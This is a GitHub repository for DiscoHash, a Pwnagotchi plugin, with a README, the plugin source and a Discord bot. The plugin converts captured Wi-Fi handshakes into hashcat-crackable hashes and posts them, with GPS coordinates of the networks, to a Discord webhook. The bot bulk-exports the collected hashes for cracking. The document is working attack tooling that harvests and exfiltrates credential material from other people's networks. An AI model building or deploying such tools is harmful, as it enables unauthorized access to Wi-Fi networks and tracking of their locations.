├── README.md ├── bots └── hashbot.py ├── discohash.png ├── discohash.py ├── hashbot.png ├── hcxtools.zip └── numpy-1.20.2-cp37-cp37m-linux_armv6l.whl /README.md: -------------------------------------------------------------------------------- 1 | ``` 2 | ____ __ __ __ 3 | / __ \(⌐■_■)__________ / / / /___ ______/ /_ 4 | / / / / / ___/ ___/ __ \/ /_/ / __ `/ ___/ __ \ 5 | / /_/ / (__ ) /__/ /_/ / __ / /_/ (__ ) / / / 6 | /_____/_/____/\___/\____/_/ /_/\__,_/____/_/ /_/ 7 | ``` 8 | 9 | ### >: What does this plugin do (◕‿‿◕)? 10 | 11 | DiscoHash is a [Pwnagotchi](https://pwnagotchi.ai/) plugin that converts pcaps captured by Pwnagotchi to a hashcat compatible hash (EAPOL/PMKID: mode 22000) and posts them to Discord along with any GPS location data (from USB dongle or net-pos plugin) using a web hook. 12 | 13 | To avoid reinventing the wheel DiscoHash reuses a couple of functions from the [hashie](https://github.com/evilsocket/pwnagotchi-plugins-contrib/blob/master/hashie.py) and [discord](https://github.com/evilsocket/pwnagotchi-plugins-contrib/blob/master/discord.py) plugins. 14 | 15 | Within the bot folder there is a Discord Bot that will scrape all captured hashes from the discord server and return them in a text file. This is not required for the plugin, but it makes it easier to pull large amounts of hashes quickly. You can modify the discord bot to only pull hashes from within a certain date range etc. 16 | 17 | Example Output: 18 | 19 | ![DiscoHash Discord message](/discohash.png) 20 | 21 | ![Hashbot](/hashbot.png) 22 | 23 | ps. can you crack my AP? (⌐■_■) 24 | 25 | 26 | ### >: Installation: 27 | 28 | - [X] After you have Pwnagotchi up and running, install dependencies and either scp over the pre-compiled hcxtools binaries from hcxtools.zip or build from source using `make install` using this version of hcxtools: [hxctools](https://salsa.debian.org/pkg-security-team/hcxtools). 29 | ``` 30 | # Run the below command from your host machine 31 | cd /DiscoHash 32 | scp hxctools.zip pi@IPADDRESS:~/ 33 | ssh pi@IPADDRESS 34 | 35 | # Then run the following on your pwnagotchi to install hcxtools and it's dependencies 36 | sudo su 37 | apt-get update 38 | apt-get install libcurl4-openssl-dev libssl-dev zlib1g-dev 39 | unzip hcxtools.zip 40 | cd hcxtools 41 | cp ./* /usr/bin/ 42 | chmod ug+x /usr/bin/hcxpcapngtool 43 | ``` 44 | 45 | - [X] Create a new Discord server and set up a new [web hook](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks). 46 | - [X] Copy discohash.py from this repo to /usr/local/share/pwnagotchi/installed-plugins/ (if the directory doesn't exist create it) 47 | ``` 48 | cd /usr/local/share/pwnagotchi/installed-plugins 49 | sudo wget https://raw.githubusercontent.com/flamebarke/DiscoHash/main/discohash.py 50 | ``` 51 | - [X] Set the following options within /etc/pwnagotchi/config.toml 52 | ``` 53 | main.plugins.discohash.enabled = true 54 | main.plugins.discohash.webhook_url = "YOUR WEB HOOK URL" 55 | ``` 56 | 57 | 58 | ### >: Usage: 59 | 60 | Simply reboot Pwnagotchi make sure it has internet access (bluetooth pairing) and watch those hashes roll in! 61 | 62 | 63 | ### >: Notes (◕‿‿◕): 64 | 65 | If you have a custom handshake directory then you will need to modify line 32 of discohash.py to your custom handshake directory. 66 | 67 | DiscoHash checks for new pcap files at the end of each epoch so they will come fairly frequently. To reduce this interval modify the code to use a different callback. 68 | 69 | To check out how to make plugins for Pwnagotchi check the docs [here](https://pwnagotchi.ai/plugins/#developing-your-own-plugin). 70 | 71 | You can contact me by sending my Pwnagotchi some PwnMail at: 72 | 73 | `e541dfdb7e835d0737189a119493843775fe0d070877b09eb895b122906d2f3a` 74 | 75 | 76 | ### >: To Do: 77 | 78 | - [X] Parse lat/long from GPS and add to message 79 | - [ ] Add one liner for cracking the hash with hashcat 80 | -------------------------------------------------------------------------------- /bots/hashbot.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/python3 2 | 3 | __author__ = "v0yager" 4 | __license__ = "GPL3" 5 | __version__ = "1.0.0" 6 | __description__ = """ 7 | This bot will return the hashes obtained using discohash 8 | for a specified number of access points as a txt file. 9 | Message the bot with !dumphash [NUMBER]. 10 | """ 11 | 12 | import os 13 | import discord 14 | from discord.ext import commands 15 | from dotenv import load_dotenv 16 | 17 | # 1. Create a bot in the Discord developer portal 18 | # 2. Grant it the required permissions (message_content) 19 | # 3. Obtain a token and the channel ID 20 | # 4. Add these to a .env file containted in the same directory 21 | 22 | load_dotenv() 23 | TOKEN = os.getenv('DISCORD_TOKEN') 24 | GUILD = os.getenv('DISCORD_GUILD') 25 | CHANNEL = os.getenv('GUILD_CHANNEL') 26 | 27 | 28 | bot = commands.Bot(command_prefix="!", intents=discord.Intents.all()) 29 | 30 | @bot.command(name="dumphash") 31 | async def on_message(ctx, num_hashes=int(1000)): 32 | try: 33 | with open('hashes.22000', 'w') as f: 34 | channel = bot.get_channel(int(CHANNEL)) 35 | message = channel.history(limit=int(num_hashes)) 36 | async for i in message: 37 | hash_dict = i.embeds[0].to_dict() 38 | hash = hash_dict['fields'][0]['value'] 39 | f.write(hash[1:-1]) 40 | f.close() 41 | with open('hashes.22000', 'r') as f: 42 | await ctx.send(file=discord.File(f, 'hashcat.22000.txt')) 43 | f.close() 44 | except KeyboardInterrupt: 45 | await bot.close() 46 | exit(0) 47 | 48 | bot.run(TOKEN) 49 | -------------------------------------------------------------------------------- /discohash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flamebarke/DiscoHash/b386f573d02396b89783b7c3cfb6176df1737890/discohash.png -------------------------------------------------------------------------------- /discohash.py: -------------------------------------------------------------------------------- 1 | import os 2 | import json 3 | import logging 4 | import requests 5 | import subprocess 6 | import pwnagotchi 7 | import pwnagotchi.plugins as plugins 8 | 9 | 10 | 11 | 12 | class discohash(plugins.Plugin): 13 | __author__ = 'v0yager' 14 | __version__ = '1.1.0' 15 | __license__ = 'GPL3' 16 | __description__ = ''' 17 | DiscoHash extracts hashes from pcaps (hashcat mode 22000) using hcxpcapngtool, 18 | analyses the hash using hcxhashtool and posts the output to Discord along with 19 | any obtained GPS coordinates. 20 | ''' 21 | 22 | 23 | def __init__(self): 24 | logging.debug("[*] DiscoHash plugin created") 25 | 26 | 27 | # called when the plugin is loaded 28 | def on_loaded(self): 29 | global tether 30 | tether = False 31 | logging.info(f"[*] DiscoHash plugin loaded") 32 | 33 | 34 | # called when internet is available 35 | def on_internet_available(self, agent): 36 | global tether 37 | tether = True 38 | 39 | 40 | # called when an epoch is over (where an epoch is a single loop of the main algorithm) 41 | def on_epoch(self, agent, epoch, epoch_data): 42 | global fingerprint 43 | fingerprint = agent.fingerprint() 44 | handshake_dir = "/root/handshakes/" 45 | if tether: 46 | self.process_pcaps(handshake_dir) 47 | else: 48 | return 49 | 50 | 51 | def process_pcaps(self, handshake_dir): 52 | handshakes_list = [os.path.join(handshake_dir, filename) for filename in os.listdir(handshake_dir) if filename.endswith('.pcap')] 53 | failed_jobs = [] 54 | successful_jobs = [] 55 | lonely_pcaps = [] 56 | for num, handshake in enumerate(handshakes_list): 57 | fullpathNoExt = handshake.split('.')[0] 58 | pcapFileName = handshake.split('/')[-1:][0] 59 | if not os.path.isfile(fullpathNoExt + '.22000'): 60 | if self.write_hash(handshake): 61 | successful_jobs.append('22000: ' + pcapFileName) 62 | else: 63 | failed_jobs.append('22000: ' + pcapFileName) 64 | if not os.path.isfile(fullpathNoExt + '.22000'): 65 | lonely_pcaps.append(handshake) 66 | logging.debug('[*] DiscoHash Batch job: added {} to lonely list'.format(pcapFileName)) 67 | if ((num + 1) % 10 == 0) or (num + 1 == len(handshakes_list)): 68 | logging.debug('[*] DiscoHash Batch job: {}/{} done ({} fails)'.format(num + 1,len(handshakes_list),len(lonely_pcaps))) 69 | if successful_jobs: 70 | logging.debug('[*] DiscoHash Batch job: {} new handshake files created'.format(len(successful_jobs))) 71 | if lonely_pcaps: 72 | logging.debug('[*] DiscoHash Batch job: {} networks without enough packets to create a hash'.format(len(lonely_pcaps))) 73 | 74 | 75 | def write_hash(self, handshake): 76 | fullpathNoExt = handshake.split('.')[0] 77 | filename = handshake.split('/')[-1:][0].split('.')[0] 78 | result = subprocess.getoutput('hcxpcapngtool -o {}.22000 {} >/dev/null 2>&1'.format(fullpathNoExt,handshake)) 79 | if os.path.isfile(fullpathNoExt + '.22000'): 80 | logging.info('[+] DiscoHash EAPOL/PMKID Success: {}.22000 created'.format(filename)) 81 | self.get_coord(fullpathNoExt) 82 | self.post_hash(fullpathNoExt) 83 | return True 84 | else: 85 | return False 86 | 87 | 88 | def get_coord(self, fullpathNoExt): 89 | global lat 90 | global lon 91 | global loc_url 92 | try: 93 | if os.path.isfile(fullpathNoExt + '.gps.json'): 94 | read_gps = open(f'{fullpathNoExt}.gps.json', 'r') 95 | gps_bytes = read_gps.read() 96 | raw_gps = json.loads(gps_bytes) 97 | lat = json.dumps(raw_gps['Latitude']) 98 | lon = json.dumps(raw_gps['Longitude']) 99 | loc_url = "https://www.google.com/maps/search/?api=1&query={},{}".format(lat, lon) 100 | else: 101 | read_gps = open(f'{fullpathNoExt}.geo.json', 'r') 102 | gps_bytes = read_gps.read() 103 | raw_gps = json.loads(gps_bytes) 104 | lat = json.dumps(raw_gps['location']['lat']) 105 | lon = json.dumps(raw_gps['location']['lng']) 106 | loc_url = "https://www.google.com/maps/search/?api=1&query={},{}".format(lat, lon) 107 | except: 108 | lat = "NULL" 109 | lon = "NULL" 110 | loc_url = "https://www.youtube.com/watch?v=gkTb9GP9lVI" 111 | 112 | 113 | def post_hash(self, fullpathNoExt): 114 | try: 115 | hash_val = open(f'{fullpathNoExt}.22000', 'r') 116 | hash_data = hash_val.read() 117 | hash_val.close() 118 | analysis = subprocess.getoutput('hcxhashtool -i {}.22000 --info=stdout'.format(fullpathNoExt)) 119 | except Exception as e: 120 | logging.warning('[!] DiscoHash: An error occured while analysing the hash: {}'.format(e)) 121 | try: 122 | data = { 123 | 'embeds': [ 124 | { 125 | 'title': '(ᵔ◡◡ᵔ) {} sniffed a new hash!'.format(pwnagotchi.name()), 126 | 'color': 289968, 127 | 'url': 'https://pwnagotchi.ai/pwnfile/#!{}'.format(fingerprint), 128 | 'description': '__**Hash Information**__', 129 | 'fields': [ 130 | { 131 | 'name': 'Hash:', 132 | 'value': '`{}`'.format(hash_data), 133 | 'inline': False 134 | }, 135 | { 136 | 'name': 'Hash Analysis:', 137 | 'value': '```{}```'.format(analysis), 138 | 'inline': False 139 | }, 140 | { 141 | 'name': '__**Location Information**__', 142 | 'value': '[GPS Waypoint]({})'.format(loc_url), 143 | 'inline': False 144 | }, 145 | { 146 | 'name': 'Raw Coordinates:', 147 | 'value': '```{},{}```'.format(lat,lon), 148 | 'inline': False 149 | }, 150 | ], 151 | 'footer': { 152 | 'text': 'Pwnagotchi v1.5.5 - DiscoHash Plugin v{} \ 153 | \nAuthors PwnMail: f033aa5cd581f67ac5f88838de002fc240aadc74ee2025b0135e5fff4e4b5a4a'.format(self.__version__) 154 | } 155 | } 156 | ] 157 | } 158 | requests.post(self.options['webhook_url'], files={'payload_json': (None, json.dumps(data))}) 159 | logging.debug('[*] DiscoHash: Webhook sent!') 160 | except Exception as e: 161 | logging.warning('[!] DiscoHash: An error occured with the plugin!{}'.format(e)) 162 | -------------------------------------------------------------------------------- /hashbot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flamebarke/DiscoHash/b386f573d02396b89783b7c3cfb6176df1737890/hashbot.png -------------------------------------------------------------------------------- /hcxtools.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flamebarke/DiscoHash/b386f573d02396b89783b7c3cfb6176df1737890/hcxtools.zip -------------------------------------------------------------------------------- /numpy-1.20.2-cp37-cp37m-linux_armv6l.whl: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/flamebarke/DiscoHash/b386f573d02396b89783b7c3cfb6176df1737890/numpy-1.20.2-cp37-cp37m-linux_armv6l.whl --------------------------------------------------------------------------------